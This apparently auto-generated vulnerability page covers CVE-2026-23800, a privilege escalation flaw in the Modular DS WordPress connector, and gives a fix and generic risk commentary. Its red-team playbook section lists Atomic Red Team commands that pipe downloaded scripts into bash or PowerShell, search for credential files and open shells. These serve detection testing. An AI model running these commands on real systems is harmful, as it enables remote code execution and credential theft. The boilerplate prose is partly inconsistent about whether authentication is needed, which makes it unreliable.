CVE-2026-23800
Overview
This vulnerability is an incorrect privilege assignment issue within the Modular DS modular-connector component. The root cause lies in improper access control configurations that allow unauthorized privilege escalation. Specifically, the flaw affects versions 2.5.2 up to but not including 2.6.0, where privilege boundaries are not correctly enforced in the modular-connector feature set.
Vulnerability Description
Incorrect Privilege Assignment vulnerability in Modular DS modular-connector allows Privilege Escalation.This issue affects Modular DS: from 2.5.2 before 2.6.0.
Impact
An unauthenticated attacker can exploit this vulnerability to escalate privileges to a high level within the Modular DS environment, gaining full control over affected systems. This enables unauthorized access to sensitive data and administrative functions, potentially leading to complete system compromise. The attack requires no user interaction and can be conducted remotely over the network, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N, highlighting the ease of exploitation and critical impact on confidentiality, integrity, and availability.
Solution
Users of Modular DS should upgrade to version 2.6.0 or later, where the privilege assignment flaw in the modular-connector component has been corrected. The patchstack.com advisory provides detailed instructions and confirms the fix is included starting with version 2.6.0. No workarounds are noted, so timely application of the vendor-released update is essential to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Modular DS modular-connector arises from incorrect privilege assignment, which allows for privilege escalation. This flaw enables an attacker to gain elevated access rights within the system, potentially allowing them to execute arbitrary commands, access sensitive data, or manipulate system configurations. The issue is particularly critical as it affects versions from 2.5.2 up to, but not including, 2.6.0. The nature of this vulnerability indicates a failure in the access control mechanisms, which should have ensured that only authorized users could perform certain actions within the system. When privilege assignments are incorrectly configured, it opens the door for unauthorized users to exploit these weaknesses, leading to severe security breaches.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with basic access to the system could leverage the privilege escalation flaw to gain higher-level permissions. For instance, if an attacker can authenticate as a regular user, they could exploit the incorrect privilege assignment to elevate their access to an administrative level. This could be achieved through techniques such as injecting malicious code or manipulating existing functionalities within the application. Additionally, if the system is exposed to the internet or connected to less secure networks, the risk of exploitation increases significantly, as attackers may attempt to exploit the vulnerability remotely.
The real-world impact of this vulnerability is profound, particularly for organizations relying on the Modular DS system for critical operations. A successful exploitation could lead to unauthorized access to sensitive information, including proprietary data, personal information of users, or even financial records. The business risks associated with such breaches are multifaceted, including potential regulatory fines, loss of customer trust, and significant reputational damage. Furthermore, the financial implications of remediation efforts, legal liabilities, and potential downtime can be substantial. Organizations may also face increased scrutiny from stakeholders and regulatory bodies, which could result in long-term operational challenges.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments can help identify systems running affected versions of the Modular DS software. Employing intrusion detection systems (IDS) can also aid in monitoring for unusual activities that may indicate an attempted exploitation of the privilege escalation flaw. In addition, organizations should prioritize patch management by upgrading to the latest version of the Modular DS software, which addresses the privilege assignment issue. Furthermore, implementing strict access control measures, such as the principle of least privilege, can help minimize the risk of unauthorized access and limit the potential impact of any exploitation attempts.
In conclusion, the incorrect privilege assignment vulnerability in the Modular DS modular-connector represents a critical security concern that requires immediate attention. The potential for privilege escalation poses significant risks to organizations, making it essential to adopt robust detection and mitigation strategies. By proactively addressing this vulnerability, organizations can safeguard their systems, protect sensitive data, and maintain the trust of their stakeholders. As the cybersecurity landscape continues to evolve, staying informed and vigilant against such vulnerabilities is paramount for maintaining a secure operational environment.
CSURFACE threat intelligence has detected a modest increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2026-23800, reflecting a slight uptick in the likelihood of exploitation attempts targeting the Modular DS modular-connector vulnerability. Although the overall EPSS value remains low and stable, this upward adjustment signals growing interest or reconnaissance activity by threat actors, underscoring the vulnerability’s continued relevance in the threat landscape. No new exploit techniques or active campaigns have been identified by our telemetry, indicating that while exploitation remains theoretical, the environment is primed for potential escalation. For defenders, this subtle shift highlights the importance of maintaining vigilance and monitoring for emerging exploit developments, as even incremental changes in predictive scores can precede more aggressive adversary behavior. The risk level remains critical due to the vulnerability’s inherent severity and potential impact, but the current exploitation pressure is moderate, warranting sustained attention without immediate alarm.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-23800 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/wordpress/plugin/modular-connector/vulnerability/wordpress-modular-ds-plugin-2-5-2-privilege-escalation-vulnerability?_s_id=cve |